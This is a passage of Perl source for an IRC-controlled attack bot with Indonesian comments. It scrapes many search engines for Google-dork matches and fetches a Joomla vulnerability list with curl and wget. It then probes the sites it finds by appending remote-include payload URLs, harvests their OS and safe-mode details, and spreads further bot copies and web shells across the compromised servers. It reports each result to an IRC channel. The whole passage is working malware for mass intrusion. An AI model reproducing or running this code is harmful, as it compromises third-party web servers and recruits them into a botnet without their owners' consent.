  552. while ( $q =~ m/<h3 class=r><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
  553. return @daftar;
  554. }
  555. ##[ GOOGLE MULTI DOMAIN ]##
  556. sub se_google_m {
  557. my ($chan,$key,$nf) = @_;
  558. my @daftar;
  559. my $num = 50; my $max = 5000; my $p;
  560. my @doms = (
  561. "com","ae","com.ar","at","com.au","be","com.br","ca","ch","cl","de","dk","fi","fr","gr","com.hk",
  562. "ie","co.il","it","co.jp","co.kr","lt","lv","nl","com.pa","com.pe","pl","pt","ru","com.sg",
  563. "com.tr","com.tw","com.my","com.ua","co.uk","hu","co.id");
  564. my $dom = $doms[rand(scalar(@doms))];
  565. my $url = "http://www.google.".$dom."/search?&num=".$num."&q=".$key;
  566. my $murl = "http://www.google.".$dom;
  567. my $nxurl;
  568. my $q = bukasitus($url);
  569. if ( $q =~ /class=b><a href=\"(.*?)\">/ ) {
  570. my $nxurl = $1;
  571. msgn($chan,"Google.".$dom," 8Sabar Se Mbut....! ");
  572. }
  573. while ( $q =~ m/<h3 class=r><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
  574. for ($p=50;$p<=$max;$p+=$num) {
  575. $nxurl = "http://www.google.".$dom."/search?num=".$num."&q=".$key."&start=".$p."&sa=N";
  576. $q = bukasitus($nxurl);
  577. while ( $q =~ m/<h3 class=r><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
  578. if ( $q !~ /<h3 class=r><a href=\"http:\/\/(.*?)\"/ ) { return @daftar; }
  579. }
  580. return @daftar;
  581. }
  582. ##[ AOL (Ga Pake) ]##
  583. sub se_aol {
  584. my ($chan,$key,$nf) = @_;
  585. my @daftar;
  586. my $num = 1; my $max = 500; my $p;
  587. #my $url = "http://localhost/search/search.aol.com.htm";
  588. my $url = "http://search.aol.com/aol/search?query=".$key;
  589. my $murl = "http://search.aol.com/aol/";
  590. my $nxurl;
  591. my $q = bukasitus($url);
  592. if ( $q =~ /of&nbsp;about&nbsp;<b>(.*?)<\/b>/ ) {
  593. my $h = $1; $h =~ s/,//g; msgt($chan,"Aol","$h");
  594. }
  595. if ( $q =~ /<span class=\"gspPageNext\"><a href=\"(.*?)\">/ ) {
  596. my $nxurl = $1; msgn($dbgchan,"Aol","Searching:");
  597. }
  598. while ( $q =~ m/property=\"f:url\">http:\/\/(.*?)<\/p>/g ) { push (@daftar, $1); }
  599. while ( $q =~ /<span class=\"gspPageNext\"><a href=\"(.*?)\">/ ) {
  600. $nxurl = $murl.htmltourl($1);
  601. $q = bukasitus($nxurl);
  602. while ( $q =~ m/property=\"f:url\">http:\/\/(.*?)<\/p>/g ) { push (@daftar, $1); }
  603. }
  604. return @daftar;
  605. }
  606. ##[ YAHOO ]##
  607. sub se_yahoo {
  608. my ($chan,$key,$nf) = @_;
  609. my @daftar;
  610. my $num = 100; my $max = 5000; my $p = 1;
  611. #my $url = "http://localhost/search/www.search.yahoo.com.htm";
  612. my $url = "http://www.search.yahoo.com/search?p=".$key."&ei=UTF-8&fr=yfp-t-501&fp_ip=IT&pstart=1&b=".$p;
  613. my $murl;
  614. my $nxurl;
  615. my $q = bukasitus($url);
  616. if ( $q =~ /id=\"infotext\"><p> .*? of(.*?) for/ ) {
  617. my $h = $1; $h =~ s/,//g; msgt($chan,"Yahoo","$h");
  618. }
  619. if ( $q =~ /999 Unable to process request at this time/ ) { msge($chan,"Yahoo"," 0,4JEMBUT...!!! "); }
  620. if ( $q =~ /<a id=\"pg-next\" href=\"(.*?)\">Next/ ) {
  621. my $nxurl = $1; msgn($dbgchan,"Yahoo","Searching:");
  622. }
  623. while ( $q =~ m/26u=(.*?)%26w=/g ) { push (@daftar, $1); }
  624. while ( $q =~ /<a id=\"pg-next\" href=\"(.*?)\">Next/ ) {
  625. $p++; if ( $p > $max ) { return @daftar; }
  626. $nxurl = $murl.htmltourl($1);
  627. $q = bukasitus($nxurl);
  628. while ( $q =~ m/26u=(.*?)%26w=/g ) { push (@daftar, $1); }
  629. }
  630. return @daftar;
  631.  
  632. }
  633. ##[ ALTAVISTA ]##
  634. sub se_altavista {
  635. my ($chan,$key,$nf) = @_;
  636. my @daftar;
  637. my $num = 100; my $max = 5000; my $p = 1;
  638. #my $url = "http://localhost/search/www.altavista.com.htm";
  639. my $url = "http://www.altavista.it/web/results?itag=ody&q=".$key."&kgs=0&kls=0&nbq=".$num."&stq=".$p;
  640. my $murl;
  641. my $nxurl;
  642. my $q = bukasitus($url);
  643. if ( $q =~ /<a href=\"(.*?)\" target=\"_self\">Next/ ) {
  644. my $nxurl = $1; msgn($dbgchan,"Altavista","Searching:");
  645. }
  646. while ( $q =~ m/<span class=ngrn>(.*?) <\/span>/g ) { push (@daftar, $1); }
  647. while ( $q =~ /<a href=\"(.*?)\" target=\"_self\">Next/ ) {
  648. $nxurl = $murl.htmltourl($1);
  649. $q = bukasitus($nxurl);
  650. while ( $q =~ m/<span class=ngrn>(.*?) <\/span>/g ) { push (@daftar, $1); }
  651. }
  652. return @daftar;
  653. }
  654. ##[ ALLTHEWEB ]##
  655. sub se_alltheweb {
  656. my ($chan,$key,$nf) = @_;
  657. my @daftar;
  658. my $num = 100; my $max = 5000; my $p = 1;
  659. #my $url = "http://localhost/search/www.alltheweb.com.htm";
  660. my $url = "http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=".$num."&q=".$key."&o=".$p;
  661. my $murl;
  662. my $nxurl;
  663. my $q = bukasitus($url);
  664. if ( $q =~ /<span class=\"ofSoMany\">(.+?)<\/span>/ ) {
  665. my $h = $1; $h =~ s/,//g; msgt($chan,"AllTheWeb","$h");
  666. }
  667. if ( $q =~ /<a href=\"(.*?)\" class=\"rnavLink\">Next/ ) {
  668. my $nxurl = $1; msgn($dbgchan,"AllTheWeb","Searching:");
  669. }
  670. while ( $q =~ m/<span class=\"resURL\">http:\/\/(.+?)<\/span>/g ) { push (@daftar, $1); }
  671. while ( $q =~ /<a href=\"(.*?)\" class=\"rnavLink\">Next/ ) {
  672. $nxurl = $murl.htmltourl($1);
  673. $q = bukasitus($nxurl);
  674. while ( $q =~ m/<span class=\"resURL\">http:\/\/(.+?)<\/span>/g ) { push (@daftar, $1); }
  675. }
  676. return @daftar;
  677. }
  678. ##[ GOODSEARCH ]##
  679. sub se_goodsearch {
  680. my ($chan,$key,$nf) = @_;
  681. my @daftar;
  682. my $num = 0; my $max = 300; my $p = 1;
  683. #my $url = "http://localhost/search/www.goodsearch.com.html";
  684. my $url = "http://www.goodsearch.com/Search.aspx?Keywords=".$key."&page=".$p."&osmax=".$num;
  685. my $murl = "http://www.goodsearch.com/";
  686. my $nxurl;
  687. my $q = bukasitus($url);
  688. if ( $q =~ /of about <strong>(.+?)<\/strong>/ ) {
  689. my $h = $1; $h =~ s/,//g; msgt($chan,"GoodSearch","$h");
  690. }
  691. if ( $q =~ m/&nbsp;<span class=\"search_numberpager_nextprev\"><a href=\"(.+?)\">Next<\/a>/ ) {
  692. my $nxurl = $1; msgn($dbgchan,"GoodSearch","Searching:");
  693. }
  694. while ( $q =~ m/<a href=\"(Redirect.+?)\">http:\/\/(.*?)<\/a>/g ) { push (@daftar, $2); }
  695. for ($p=2;$p<=$max;$p++) {
  696. $url = "http://www.goodsearch.com/Search.aspx?Keywords=".$key."&page=".$p."&osmax=".$num;
  697. $q = bukasitus($url);
  698. while ( $q =~ m/<a href=\"(Redirect.+?)\">http:\/\/(.*?)<\/a>/g ) { push (@daftar, $2); }
  699. if ( $q !~ m/<a href=\"(Redirect.+?)\">http:\/\/(.*?)<\/a>/g ) { return @daftar; }
  700. }
  701. return @daftar;
  702. }
  703. ## UOL ##
  704. sub se_uol {
  705. my ($chan,$key,$nf) = @_;
  706. my @daftar;
  707. my $num = 10; my $max = 5000; my $p;
  708. #my $url = "http://localhost/search/busca.uol.com.br.htm";
  709. my $url = "http://mundo.busca.uol.com.br/buscar.html?q=".$key."";
  710. my $murl = "http://busca.uol.com.br";
  711. my $nxurl;
  712. my $q = bukasitus($url);
  713. if ( $q =~ /results\">(.+?)<\/strong>/ ) {
  714. my $h = $1; $h =~ s/,//g; msgt($chan,"Uol","$h");
  715. }
  716. if ( $q =~ /<a href=\"(.*?)\" class=\"next\">/ ) {
  717. my $nxurl = htmltourl($1); msgn($dbgchan,"Uol","Searching:");
  718. }
  719. while ( $q =~ m/<dt><a href=\"http:\/\/(.*?)\">/g ) { push (@daftar, $1); }
  720. for ($p=1;$p<=$max;$p += $num) {
  721. $q = bukasitus("http://mundo.busca.uol.com.br/buscar.html?q=".$key."&start=".$p);
  722. while ( $q =~ m/<dt><a href=\"http:\/\/(.*?)\">/g ) { push (@daftar, $1); }
  723. if ( $q !~ /<dt><a href/ ) { return @daftar; }
  724. }
  725. return @daftar;
  726. }
  727. ## LIVE ##
  728. sub se_live {
  729. my ($chan,$key,$nf) = @_;
  730. my @daftar;
  731. my $num = 50; my $max = 5000; my $p;
  732. #my $url = "http://localhost/search/search.live.com.htm";
  733. my $url = "http://search.live.com/results.aspx?q=".$key."&go";
  734. my $murl = "http://search.live.com";
  735. my $nxurl;
  736. my $q = bukasitus($url);
  737. if ( $q =~ /<a class=\"sb_pagN\" href=\"(.*?)\" onmousedown/ ) {
  738. my $nxurl = $1; msgn($dbgchan,"Live",htmltourl($nxurl));
  739. }
  740. while ( $q =~ m/<h3><a href=\"http:\/\/(.*?)\"/g ) {
  741. my $l = $1 ; if ($l !~ /TeamHack/) { push (@daftar, $l); }
  742. }
  743. for ( $p=0;$p<=$max;$p += $num ) {
  744. $nxurl = $murl.htmltourl($1)."&go";
  745. $q = bukasitus("http://search.live.com/results.aspx?q=".$key."&first=".$p."&FORM=PORE");
  746. while ( $q =~ m/<h3><a href=\"http:\/\/(.*?)\"/g ) {
  747. my $l = $1 ; if ($l !~ /TeamHack/) { push (@daftar, $l); }
  748. }
  749. }
  750. return @daftar;
  751. }
  752. ## CLUSTY ##
  753. sub se_clusty {
  754. my ($chan,$key,$nf) = @_;
  755. my @daftar;
  756. my $num = 50;
  757. #my $url = "http://localhost/search/clusty.com.htm";
  758. my $url = "http://clusty.com/search?query=".$key."&input-form=clusty-simple&v:sources=webplus";
  759. my $murl = "http://clusty.com";
  760. my $nxurl;
  761. my $q = bukasitus($url);
  762. if ( $q =~ /intronum\">(.+?)<\/span>/ ) {
  763. my $h = $1; $h =~ s/,//g; msgt($chan,"Clusty","$h");
  764. }
  765. if ( $q =~ /<a class=\"listnext\" href=\"(.*?)\">next/ ) {
  766. my $nxurl = $1; msgn($dbgchan,"Clusty",htmltourl($nxurl));
  767. }
  768. while ( $q =~ m/<a target=\"_top\" href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
  769. while ( $q =~ /<a class=\"listnext\" href=\"(.*?)\">next/ ) {
  770. $nxurl = $murl.htmltourl($1);
  771. $q = bukasitus($nxurl);
  772. while ( $q =~ m/<a target=\"_top\" href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
  773. }
  774. return @daftar;
  775. }
  776. ##[ ASK ]##
  777. sub se_ask {
  778. my ($chan,$key,$nf) = @_;
  779. my @daftar;
  780. my $num = 50; my $max = 200; my $p = 1;
  781. #my $url = "http://localhost/search/www.ask.com.htm";
  782. my $url = "http://www.ask.com/web?q=".$key."&o=0&l=dir&page=".$p;
  783. my $murl = "http://www.ask.com/web";
  784. my $nxurl;
  785. my $q = bukasitus($url);
  786. if ( $q =~ /<a href=\"(.*?)\" class=\"(.+?)\" style=\"text-decoration:none\" >Next/ ) {
  787. my $h = $1; $h =~ s/,//g; msgn($dbgchan,"Ask","Next: $h");
  788. }
  789. while ( $q =~ m/id=\"(.+?)\" href=\"http:\/\/(.+?)\" onmousedown/g ) {
  790. my $l = $2 ; if ($l !~ /google|www.ask.com/) { push (@daftar, $l); }
  791. }
  792. for ($p=1;$p<=$max;$p++) {
  793. $q = bukasitus("http://www.ask.com/web?q=".$key."&o=0&l=dir&page=".$p);
  794. while ( $q =~ m/id=\"(.+?)\" href=\"http:\/\/(.+?)\" onmousedown/g ) {
  795. my $l = $2 ; if ($l !~ /google|www.ask.com/) { push (@daftar, $l); }
  796. }
  797. }
  798. return @daftar;
  799. }
  800. ## LYCOS ##
  801. sub se_lycos {
  802. my ($chan,$key,$nf) = @_;
  803. my @daftar;
  804. my $num = 10; my $max = 200; my $p;
  805. #my $url = "http://localhost/search/search.lycos.com.htm";
  806. my $url = "http://search.lycos.com/?loc=searchbox&tab=web&adf=on&query=".$key."&submit=image";
  807. my $murl = "http://search.lycos.com/";
  808. my $nxurl;
  809. my $q = bukasitus($url);
  810. if ( $q =~ /<a href=\"(.*?)\">Next/ ) {
  811. my $nxurl = $1; msgn($dbgchan,"Lycos","Searching:");
  812. }
  813. while ( $q =~ m/<a href=\"http:\/\/(.*?)\" onmouseover/g ) { push (@daftar, $1); }
  814. for ( $p=0;$p<=$max;$p++ ) {
  815. $q = bukasitus("http://search.lycos.com/?query=".$key."&page2=".$p."&tab=web");
  816. while ( $q =~ m/<a href=\"http:\/\/(.*?)\" onmouseover/g ) { push (@daftar, $1); }
  817. if ( $q !~ m/<a href=\"http:\/\/(.*?)\" onmouseover/g ) { return @daftar; }
  818. }
  819. return @daftar;
  820. }
  821. ## GIGABLAST ##
  822. sub se_gigablast {
  823. my ($chan,$key,$nf) = @_;
  824. my @daftar;
  825. my $num = 50; my $max = 5000;
  826. #my $url = "http://localhost/search/gigablast.com.htm";
  827. my $url = "http://www.gigablast.com/search?q=".$key."&n=".$max;
  828. my $murl = "http://www.gigablast.com";
  829. my $nxurl;
  830. my $q = bukasitus($url);
  831. if ( $q =~ /intronum\">(.+?)<\/span>/ ) {
  832. my $h = $1; $h =~ s/,//g; msgt($chan,"Gigablast","$h");
  833. }
  834. if ( $q =~ /<a class=\"navigation\" href="(.*?)\">/ ) {
  835. my $nxurl = $1; msgn($dbgchan,"Gigablast","Searching:");
  836. }
  837. while ( $q =~ m/<a class=\"result-title\" href=\"http:\/\/(.*?)\">/g ) { push (@daftar, $1); }
  838. while ( $q =~ /<a class=\"navigation\" href="(.*?)\">/ ) {
  839. $nxurl = $murl.htmltourl($1);
  840. $q = bukasitus($nxurl);
  841. while ( $q =~ m/<a class=\"result-title\" href=\"http:\/\/(.*?)\">/g ) { push (@daftar, $1); }
  842. }
  843. return @daftar;
  844. }
  845. ## MAMMA ##
  846. sub se_mamma {
  847. my ($chan,$key,$nf) = @_;
  848. my @daftar;
  849. my $num = 50; my $max = 10; my $p = 1;
  850. #my $url = "http://localhost/search/mamma.com.htm";
  851. my $url = "http://mamma.com/Mamma?utfout=1&query=".$key."&qtype=0&rpp=50&cb=Mamma&index=".$p;
  852. my $murl;
  853. my $nxurl;
  854. my $q = bukasitus($url);
  855. if ( $q =~ /Search Results<\/b> .*? of (.*?) for/ ) {
  856. my $h = $1; $h =~ s/,//g; msgt($chan,"Mamma","$h");
  857. }
  858. if ( $q =~ /<a href=\"(.*?)\"><font color=#2A3383 face=verdana size=2>Next/ ) {
  859. my $h = $1; $h =~ s/,//g; msgn($dbgchan,"Mamma","Next: $h");
  860. }
  861. while ( $q =~ m/http:\/\/(.*?)\<\/span>/g ) {
  862. my $l = $1 ; if ($l !~ /mamma.com/) { push (@daftar, $l); }
  863. }
  864. while ( $q =~ /<a href=\"(.*?)\"><font color=#2A3383 face=verdana size=2>Next/ ) {
  865. $nxurl = $murl.htmltourl($1);
  866. $q = bukasitus($nxurl);
  867. while ( $q =~ m/http:\/\/(.*?)\<\/span>/g ) {
  868. my $l = $1 ; if ($l !~ /mamma.com/) { push (@daftar, $l); }
  869. }
  870. }
  871. return @daftar;
  872. }
  873. ## DMOZ ##
  874. sub se_dmoz {
  875. my ($chan,$key,$nf) = @_;
  876. my @daftar;
  877. my $num = 20; my $max = 5000; my $p = 1;
  878. #my $url = "http://localhost/search/search.dmoz.org.htm";
  879. my $url = "http://search.dmoz.org/cgi-bin/search?search=".$key;
  880. my $murl = "http://search.dmoz.org/cgi-bin/";
  881. my $nxurl;
  882. my $q = bukasitus($url);
  883. if ( $q =~ /Open Directory Sites<\/b><\/font> \((.+?) of (.+?)\)/ ) {
  884. my $h = $2; $h =~ s/,//g; msgt($chan,"Dmoz","$h");
  885. }
  886. if ( $q =~ /<a href=\"(.*?)\">Next<\/a>\">/ ) {
  887. my $nxurl = $1; msgn($dbgchan,"Dmoz","Searching:");
  888. }
  889. while ( $q =~ m/<li><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
  890. while ( $q =~ /<a href=\"(.*?)\">Next<\/a>/ ) {
  891. $nxurl = $murl.htmltourl($1);
  892. $q = bukasitus($nxurl);
  893. while ( $q =~ m/<li><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
  894. }
  895. return @daftar;
  896. }
  897. ## VIRGILIO ##
  898. sub se_virgilio {
  899. my ($chan,$key,$nf) = @_;
  900. my @daftar;
  901. my $num = 20; my $max = 2000; my $p = 0;
  902. my $url = "http://ricerca.alice.it/ricerca?qs=".$key."filter=1&site=&lr=&hits=".$num."&offset=".$p;
  903. my $murl = "http://ricerca.alice.it/";
  904. my $nxurl;
  905. my $q = bukasitus($url);
  906. if ( $q =~ /<span>(.*?) risultati per <b>/ ) {
  907. my $h = $1; $h =~ s/,//g; $h =~ s/\.//g;
  908. msgt($chan,"Virgilio","$h");
  909. }
  910. if ( $q =~ /<a href=\".*\s+<a href=\"(.*?)\"><span>Avanti/ ) {
  911. my $nxurl = $1; msgn($dbgchan,"Virgilio","Searching:");
  912. }
  913. while ( $q =~ m/<h3><a href=\"http:\/\/(.*?)\" class/g ) { push (@daftar, $1); }
  914. while ( $q =~ /<a href=\".*\s+<a href=\"(.*?)\"><span>Avanti/ ) {
  915. $nxurl = $murl.htmltourl($1);
  916. $q = bukasitus($nxurl);
  917. while ( $q =~ m/<h3><a href=\"http:\/\/(.*?)\" class/g ) { push (@daftar, $1); }
  918. }
  919. return @daftar;
  920. }
  921. ## WEBDE ##
  922. sub se_webde {
  923. my ($chan,$key,$nf) = @_;
  924. my @daftar;
  925. my $num = 1; my $max = 100; my $p;
  926. for ( $p = 0;$p <= $max; $p += $num ) {
  927. my $url = "http://suche.web.de/search/web/?pageIndex=".$p."&su=".$key."&y=0&x=0&mc=suche\@web\@navigation\@zahlen.suche\@web";
  928. my $q = bukasitus($url);
  929. while ( $q =~ m/<span class=\"url\">http:\/\/(.*?)<\/span>/g ) { push (@daftar, $1); }
  930. if ( $q !~ /<span class=\"url\">http:\/\/(.*?)<\/span>/ ) { return @daftar; }
  931. }
  932. return @daftar;
  933. }
  934. ## FIREBALL ##
  935. sub se_fireball {
  936. my ($chan,$key,$nf) = @_;
  937. my @daftar;
  938. my $num = 1; my $max = 500; my $p;
  939. for ( $p = 0;$p <= $max; $p += $num ) {
  940. my $url = "http://suche.fireball.de/cgi-bin/pursuit?pag=".$p."&query=".$key."&cat=fb_web&enc=utf-8";
  941. my $q = bukasitus($url);
  942. while ( $q =~ m/<a href=\"http:\/\/(.*?)\" target/g ) { push (@daftar, $1); }
  943. if ( $q !~ /<a href=\"http:\/\/(.*?)\" target/ ) { return @daftar; }
  944. if ( $q =~ /ergab keine Treffer in Deutsche Seiten/ ) { return @daftar; }
  945. }
  946. return @daftar;
  947. }
  948. ## HOTBOT ##
  949. sub se_hotbot {
  950. my ($chan,$key,$nf) = @_;
  951. my @daftar;
  952. my $num = 1; my $max = 200; my $p;
  953. for ( $p = 0;$p <= $max; $p += $num ) {
  954. my $url = "http://www.hotbot.com/?query=".$key."&ps=&loc=searchbox&tab=web&mode=search&currProv=msn&page=".$p;
  955. my $q = bukasitus($url);
  956. while ( $q =~ m/<span class=\"grn\">http:\/\/(.+?)<\/span>/g ) {
  957. my $l = $1 ; if ($l !~ /hotbot/) { push (@daftar, $l); }
  958. }
  959. if ( $q !~ /<span class=\"grn\">http:\/\/(.+?)<\/span>/ ) { return @daftar; }
  960. }
  961. return @daftar;
  962. }
  963. ## NETSCAPE (Ga pake) ##
  964. sub se_netscape {
  965. my ($chan,$key,$nf) = @_;
  966. my @daftar;
  967. my $num = 1; my $max = 10; my $p;
  968. for ( $p = 0;$p <= $max; $p += $num ) {
  969. my $url = "http://search.netscape.com/search/search?query=".$key."&page=".$p."&y=0&x=0&st=webresults";
  970. my $q = bukasitus($url);
  971. while ( $q =~ m/url\">http:\/\/(.*?)<\/p>/g ) {
  972. my $l = $1 ; if ($l !~ /search.netscape/) { push (@daftar, $l); }
  973. }
  974. if ( $q !~ /url\">http:\/\/(.*?)<\/p>/ ) { return @daftar; }
  975. }
  976. return @daftar;
  977. }
  978. ## WEBCRAWLER ##
  979. sub se_webcrawler {
  980. my ($chan,$key,$nf) = @_;
  981. my @daftar;
  982. my $num = 50; my $max = 500; my $p;
  983. for ( $p = 0;$p <= $max; $p++ ) {
  984. $num += $num;
  985. my $url = "http://www.webcrawler.com/webcrawler/ws/redir/qcat=Web/qkw=".$key."/qcoll=relevance/zoom=off/bepersistence=true/qi=".$num."/qk=50/page=".$p."/_iceUrlFlag=11?_IceUrl=true";
  986. my $q = bukasitus($url);
  987. while ( $q =~ m/status='http:\/\/(.*?)';/g ) {
  988. my $l = $1 ; if ($l !~ /webcrawler|google/) { push (@daftar, $l); }
  989. }
  990. if ( $q !~ /wsPagerNext/ ) { return @daftar; }
  991. }
  992. return @daftar;
  993. }
  994. ## EUROSEEK ##
  995. sub se_euroseek {
  996. my ($chan,$key,$nf) = @_;
  997. my @daftar;
  998. my $num = 10; my $max = 6000; my $p;
  999. for ( $p = 0;$p <= $max; $p+=$num ) {
  1000. my $url = "http://euroseek.com/system/search.cgi?language=en&mode=internet&start=".$p."&string=".$key;
  1001. my $q = bukasitus($url);
  1002. while ( $q =~ m/<a href=\"http:\/\/(.+?)\" class=\"searchlinklink\">/g ) { push (@daftar, $1); }
  1003. if ( $q !~ /Next/ ) { return @daftar; }
  1004. }
  1005. return @daftar;
  1006. }
  1007. ## ABACHO ##
  1008. sub se_abacho {
  1009. my ($chan,$key,$nf) = @_;
  1010. my @daftar;
  1011. my $num = 10; my $max = 1000; my $p = 0;
  1012. for ( $p = 0;$p <= $max; $p += $num ) {
  1013. my $url = "http://search.abacho.com/it/abacho.it/index.cfm?offset=".$p."&poffset=0&StartCounter=".$p."&q=".$key."&a=&b=&country=it&page=&d_html=&d_pdf=&d_msdoc=&d_xls=&d_ppt=&mesearchkey=&cluster=&coop=";
  1014. my $q = bukasitus($url);
  1015. while ( $q =~ m/target=\"_blank\">http:\/\/(.+?)<\/a>/g ) { push (@daftar, $1); }
  1016. if ( $q !~ m/target=\"_blank\">http:\/\/(.+?)<\/a>/g ) { return @daftar; }
  1017. if ( $q =~ /We didn't find any results matching your query/ ) { return @daftar; }
  1018. }
  1019. return @daftar;
  1020. }
  1021. ## END OF RUTIN SEARCH ENGINE ##
  1022.  
  1023. ##[ BUG JOOMLA ]##
  1024. sub bugjoomla {
  1025. my $mode = $_[0];
  1026. my @bugz;
  1027. system("lwp-download ".$joomlaz);
  1028. system("curl -O ".$joomlaz);
  1029. system("wget ".$joomlaz);
  1030. open(FILE,"< joomla.txt");
  1031. if ($mode eq "hitung") {
  1032. my $baris = 0; my $buff;
  1033. while (sysread FILE, $buff, 4096) { $baris += ($buff =~ tr/\n//); }
  1034. close FILE;
  1035. f_hapus("joomla.txt*");
  1036. return $baris;
  1037. }
  1038. else {
  1039. while ( my $r = <FILE> ) { $r =~ s/\n//g; push(@bugz,$r); }
  1040. close(FILE);
  1041. f_hapus("joomla.txt*");
  1042. return @bugz;
  1043. }
  1044. }
  1045.  
  1046. ##[ BERSIH DORK ]##
  1047. sub bersihdork {
  1048. my ($chan,$dork) = @_;
  1049. if ( $dork =~ /inurl:|allinurl:|intext:|allintext:|intitle:|allintitle:/ ) {
  1050. irc_msg($chan,$colz{1}." Membersihkan kata kunci Google.. ");
  1051. $dork =~ s/^inurl://g;
  1052. $dork =~ s/^allinurl://g;
  1053. $dork =~ s/^intext://g;
  1054. $dork =~ s/^allintext://g;
  1055. $dork =~ s/^intitle://g;
  1056. $dork =~ s/^allintitle://g;
  1057. $dork =~ s/^site://g;
  1058. }
  1059. return $dork;
  1060. }
  1061.  
  1062. ##[ SORTIR LINK ]##
  1063. sub lnk_sortir {
  1064. my @unik = ();
  1065. my %ada = ();
  1066. foreach my $e ( @_ ) { next if $ada{ $e }++; push @unik, $e; }
  1067. return @unik;
  1068. }
  1069.  
  1070. ##[ SUBLINK ]##
  1071. sub lnk_sub {
  1072. my $link = $_[0];
  1073. my (@links,$path);
  1074. my ($host,@paths) = split(/\//,$link);
  1075. $host .= "/";
  1076. push (@links,$host);
  1077. foreach my $e (@paths) {
  1078. if ($e) {
  1079. $path .= $e."/";
  1080. my $sublink = $host.$path;
  1081. push (@links,$sublink);
  1082. }
  1083. }
  1084. return @links;
  1085. }
  1086.  
  1087. ##[ INFO OS ]##
  1088. sub info_os {
  1089. my $url = $_[0];
  1090. my @info;
  1091. my $h = bukasitus($url.$zfxid2."??");
  1092. my ($safe,$os,$uname,$server,$user,$uid,$dir,$perm,$hdd,$disfunc);
  1093. while ( $h =~ m/<br>SAFE: (.+?)<br>/g ) { $safe = $1; }
  1094. while ( $h =~ m/<br>OS: (.+?)<br>/g ) { $os = $1; }
  1095. while ( $h =~ m/<br>UNAME: (.+?)<br>/g ) { $uname = $1; }
  1096. while ( $h =~ m/<br>SERVER: (.+?)<br>/g ) { $server = $1; }
  1097. while ( $h =~ m/<br>USER: (.+?)<br>/g ) { $user = $1; }
  1098. while ( $h =~ m/<br>UID: (.+?)<br>/g ) { $uid = $1; }
  1099. while ( $h =~ m/<br>DIR: (.+?)<br>/g ) { $dir = $1; }
  1100. while ( $h =~ m/<br>PERM: (.+?)<br>/g ) { $perm = $1; }
  1101. while ( $h =~ m/<br>HDD: (.+?)<br>/g ) { $hdd = $1; }
  1102. while ( $h =~ m/<br>DISFUNC: (.+?)<br>/g ) { $disfunc = $1; }
  1103. push (@info,$safe,$os,$uname,$server,$user,$uid,$dir,$perm,$hdd,$disfunc);
  1104. return @info;
  1105. }
  1106.  
  1107. ##[ SAFEMODE INFO ]##
  1108. sub safemode {
  1109. my ($type,$chan,$situs,$bug,$engine) = @_;
  1110. my $safemode; my $vurn; my $sb;
  1111. if ($type == 1) { $vurn = "http://".$situs.$bug; $sb = $vurn." 14".$fx29sh."?"; }
  1112. else { $vurn = $situs; $sb = $vurn; }
  1113. my ($safe,$os,$uname,$server,$user,$uid,$dir,$perm,$hdd,$disfunc) = info_os($vurn);
  1114. if ($safe =~ /OFF/) { $safemode = " 4OFF"; } elsif ($safe =~ /ON/) { $safemode =" 9ON"; } else { $safemode =" 0-"; }
  1115. if ($disfunc) { $disfunc = " 9[ Disfunc ] 0[ 7 $disfunc 0]"; } else { $disfunc = ""; }
  1116. if ($perm =~/W/) { $perm = " 12$perm"; } else { $perm = " 4$perm"; }
  1117. my $S1 = " 9 [ ".$safemode." 9] 9[ $os ] 0[ $sb 0] ";
  1118. my $S2 = " 9 [ Uname ] 0[ $uname ] 9 [ User ] 0[ $user / $uid ] 9[ Server ] 0[ $server ] ";
  1119. my $S3 = " 9 [ Dir ] 0[ $dir $perm 0] 9[ HDD ] 0[ 0 $hdd 0] $disfunc ";
  1120. my $S4 = " 4«®¤ 9[ 0T 4E 0A 4M 0H 4A 0C 4K 12R 2F 12I 4S 0c 4a 0N 4N 0e 4R 9] 4¤®» ";
  1121. if ($type == 1) {
  1122. irc_msg($chanx,$S1); irc_msg($chanx,$S2); irc_msg($chanx,$S3); irc_msg($chanx,$S4);
  1123. irc_msg($nickx,$S1); irc_msg($nickx,$S2); irc_msg($nickx,$S3); irc_msg($nickx,$S4);
  1124. ##[ SPREADING ]##
  1125. my ($q1,$q2,$q3,$q4) = (bukasitus($vurn.$spread."?"),bukasitus($vurn.$pbot."?"),bukasitus($vurn.$botping."?"),bukasitus($vurn.$spreadon."?"));
  1126. if ($q1 =~ /Writed to (.+?)!/) { irc_msg($chanx," 9 [ Shell ] 0[ $1 0] "); }
  1127. sleep($conf{sleepz});
  1128. irc_msg($chan,$colz{3}.$engine.$colz{4}) if ($engine);
  1129. }
  1130. irc_msg($chan,$S1); irc_msg($chan,$S2); irc_msg($chan,$S3);
  1131. }
  1132.  
  1133. ##[ CEK SHELL ]##
  1134. sub cek_shell {
  1135. my ($chan,$nick,$situs) = @_;
  1136. my $q = bukasitus($situs.$zfxid."?");
  1137. my ($q1,$q2,$q3,$q4) = (bukasitus($situs.$spread."?"),bukasitus($situs.$pbot."?"),bukasitus($situs.$botping."?"),bukasitus($situs.$spreadon."?"));
  1138.  
  1139. print $q;
  1140. if ( $q =~ /TeamHack/ ) { safemode(2,$chan,$situs,"",""); }
  1141. else { irc_msg($chan,$nick.", 8SyuWaL...TarGeTe BoZok...! "); }
  1142. }
  1143.  
  1144. ##[ NYETAK BOT BACOK ]##
  1145. sub gae_bota {
  1146. my ($chan,$nick,$situs) = @_;
  1147. my ($q1,$q2,$q3,$q4) = (bukasitus($situs.$pbot."?"),bukasitus($situs.$pbot."?"),bukasitus($situs.$pbot."?"),bukasitus($situs.$pbot."?"));
  1148. irc_msg($dbgchan,$colz{1}." 9Proses Nyetak Bot BACOK loading... ");
  1149. }
  1150. ##[ NYETAK BOT ENDEL ]##
  1151. sub gae_botb {
  1152. my ($chan,$nick,$situs) = @_;
  1153. my ($q1,$q2,$q3,$q4) = (bukasitus($situs.$botphp."?"),bukasitus($situs.$botphp."?"),bukasitus($situs.$botphp."?"),bukasitus($situs.$botphp."?"));
  1154. irc_msg($dbgchan,$colz{1}." 13Proses Nyetak Bot ENDEL loading.. ");
  1155. }
